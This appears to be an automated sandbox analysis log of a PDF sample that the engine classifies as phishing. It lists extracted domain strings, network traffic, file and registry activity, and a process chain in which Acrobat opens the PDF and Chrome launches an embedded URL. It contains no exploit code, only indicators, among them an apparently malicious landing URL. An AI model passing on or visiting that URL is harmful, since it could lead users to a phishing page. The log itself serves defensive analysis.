Source: sets.json.11.dr	String found in binary or memory: https://efront.com
Source: sets.json.11.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.11.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.11.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.11.dr	String found in binary or memory: https://ella.sv
Source: sets.json.11.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.11.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.11.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.11.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.11.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.11.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.11.dr	String found in binary or memory: https://finn.no
Source: sets.json.11.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.11.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.11.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.11.dr	String found in binary or memory: https://gettalkdesk.com
Source: sets.json.11.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.11.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.11.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.11.dr	String found in binary or memory: https://grid.id
Source: sets.json.11.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.11.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.11.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.11.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.11.dr	String found in binary or memory: https://hapara.com
Source: sets.json.11.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.11.dr	String found in binary or memory: https://hc1.com
Source: sets.json.11.dr	String found in binary or memory: https://hc1.global
Source: sets.json.11.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.11.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.11.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.11.dr	String found in binary or memory: https://hearty.app
Source: sets.json.11.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.11.dr	String found in binary or memory: https://hearty.me
Source: sets.json.11.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.11.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.11.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.11.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.11.dr	String found in binary or memory: https://hj.rs
Source: sets.json.11.dr	String found in binary or memory: https://hjck.com
Source: sets.json.11.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.11.dr	String found in binary or memory: https://html-load.com
Source: sets.json.11.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.11.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.11.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.11.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.11.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.11.dr	String found in binary or memory: https://img-load.com
Source: sets.json.11.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.11.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.11.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.11.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.11.dr	String found in binary or memory: https://interia.pl
Source: sets.json.11.dr	String found in binary or memory: https://intoday.in
Source: sets.json.11.dr	String found in binary or memory: https://iolam.it
Source: sets.json.11.dr	String found in binary or memory: https://ishares.com
Source: sets.json.11.dr	String found in binary or memory: https://jagran.com
Source: sets.json.11.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.11.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.11.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.11.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.11.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.11.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.11.dr	String found in binary or memory: https://joyreactor.com
Source: gj2tWCRpMS.pdf	String found in binary or memory: https://junoawards.ca/events/junofest/#n56ivps)
Source: sets.json.11.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.11.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.11.dr	String found in binary or memory: https://kompas.com
Source: sets.json.11.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.11.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.11.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.11.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.11.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.11.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.11.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.11.dr	String found in binary or memory: https://libero.it
Source: sets.json.11.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.11.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.11.dr	String found in binary or memory: https://livechat.com
Source: sets.json.11.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.11.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.11.dr	String found in binary or memory: https://livemint.com
Source: sets.json.11.dr	String found in binary or memory: https://max.auto
Source: sets.json.11.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.11.dr	String found in binary or memory: https://meo.pt
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.11.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.11.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.11.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.11.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.11.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.11.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.11.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.11.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.11.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.11.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.11.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.11.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.11.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.11.dr	String found in binary or memory: https://money.pl
Source: sets.json.11.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.11.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.11.dr	String found in binary or memory: https://nacion.com
Source: sets.json.11.dr	String found in binary or memory: https://naukri.com
Source: gj2tWCRpMS.pdf	String found in binary or memory: https://news.google.com/#5txqn3ufs6ilhby3iql9qlm33)
Source: sets.json.11.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.11.dr	String found in binary or memory: https://nien.co
Source: sets.json.11.dr	String found in binary or memory: https://nien.com
Source: sets.json.11.dr	String found in binary or memory: https://nien.org
Source: sets.json.11.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.11.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.11.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.11.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.11.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.11.dr	String found in binary or memory: https://o2.pl
Source: sets.json.11.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.11.dr	String found in binary or memory: https://onet.pl
Source: sets.json.11.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.11.dr	String found in binary or memory: https://p106.net
Source: sets.json.11.dr	String found in binary or memory: https://p24.hu
Source: sets.json.11.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.11.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.11.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.11.dr	String found in binary or memory: https://player.pl
Source: sets.json.11.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.11.dr	String found in binary or memory: https://poalim.site
Source: sets.json.11.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.11.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.11.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.11.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.11.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.11.dr	String found in binary or memory: https://punjabijagran.com
Source: chromecache_286.12.dr	String found in binary or memory: https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Source: sets.json.11.dr	String found in binary or memory: https://radio1.be
Source: sets.json.11.dr	String found in binary or memory: https://radio2.be
Source: sets.json.11.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.11.dr	String found in binary or memory: https://repid.org
Source: sets.json.11.dr	String found in binary or memory: https://reshim.org
Source: gj2tWCRpMS.pdf	String found in binary or memory: https://ru.scribd.com/document/630009132/Butter-Chicken-Naan-Za/#ms2roew)
Source: sets.json.11.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.11.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.11.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.11.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.11.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.11.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.11.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.11.dr	String found in binary or memory: https://samayam.com
Source: sets.json.11.dr	String found in binary or memory: https://sapo.io
Source: sets.json.11.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.11.dr	String found in binary or memory: https://shock.co
Source: sets.json.11.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.11.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.11.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.11.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.11.dr	String found in binary or memory: https://songshare.com
Source: sets.json.11.dr	String found in binary or memory: https://songstats.com
Source: sets.json.11.dr	String found in binary or memory: https://sporza.be
Source: sets.json.11.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.11.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.11.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.11.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.11.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.11.dr	String found in binary or memory: https://stripe.com
Source: sets.json.11.dr	String found in binary or memory: https://stripe.network
Source: sets.json.11.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.11.dr	String found in binary or memory: https://supereva.it
Source: sets.json.11.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.11.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.11.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.11.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.11.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.11.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.11.dr	String found in binary or memory: https://text.com
Source: sets.json.11.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.11.dr	String found in binary or memory: https://the42.ie
Source: sets.json.11.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.11.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.11.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.11.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.11.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.11.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.11.dr	String found in binary or memory: https://top.pl
Source: sets.json.11.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.11.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.11.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.11.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.11.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.11.dr	String found in binary or memory: https://tvid.in
Source: sets.json.11.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.11.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.11.dr	String found in binary or memory: https://unotv.com
Source: sets.json.11.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.11.dr	String found in binary or memory: https://vrt.be
Source: sets.json.11.dr	String found in binary or memory: https://vwo.com
Source: sets.json.11.dr	String found in binary or memory: https://welt.de
Source: sets.json.11.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.11.dr	String found in binary or memory: https://wildix.com
Source: sets.json.11.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.11.dr	String found in binary or memory: https://wingify.com
Source: sets.json.11.dr	String found in binary or memory: https://wordle.at
Source: sets.json.11.dr	String found in binary or memory: https://wp.pl
Source: sets.json.11.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.11.dr	String found in binary or memory: https://www.asadcdn.com
Source: chromecache_286.12.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/api2/logo_48.png
Source: gj2tWCRpMS.pdf	String found in binary or memory: https://www.hurriyetdailynews.com/#qejtia28)
Source: sets.json.11.dr	String found in binary or memory: https://ya.ru
Source: sets.json.11.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.11.dr	String found in binary or memory: https://zalo.me
Source: sets.json.11.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.11.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.11.dr	String found in binary or memory: https://zoom.com
Source: sets.json.11.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 57928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 57924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57924
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 57929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 57925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 57926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 57927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49751 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\Google.Widevine.CDM.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_3084_1083595094

Jump to behavior

Source: Google.Widevine.CDM.dll.11.dr

Static PE information: Number of sections : 12 > 10

Source: classification engine

Classification label: mal84.phis.winPDF@48/74@20/11

Source: gj2tWCRpMS.pdf	Initial sample: https://edition.cnn.com/#8frfajpc53lqy
Source: gj2tWCRpMS.pdf	Initial sample: https://junoawards.ca/events/junofest/#n56ivps
Source: gj2tWCRpMS.pdf	Initial sample: https://ru.scribd.com/document/630009132/butter-chicken-naan-za/#ms2roew
Source: gj2tWCRpMS.pdf	Initial sample: https://clintonmakes.com/215c/#lq8k93t1ixr
Source: gj2tWCRpMS.pdf	Initial sample: https://ru.scribd.com/document/630009132/Butter-Chicken-Naan-Za/#ms2roew
Source: gj2tWCRpMS.pdf	Initial sample: https://news.google.com/#5txqn3ufs6ilhby3iql9qlm33
Source: gj2tWCRpMS.pdf	Initial sample: https://www.hurriyetdailynews.com/#qejtia28

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-16 11-19-57-093.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\gj2tWCRpMS.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1600,i,12659768028170617857,11342452136795064778,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#lq8k93t1ixr"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2008,i,14152893452588016740,6303475695145391616,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1600,i,12659768028170617857,11342452136795064778,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
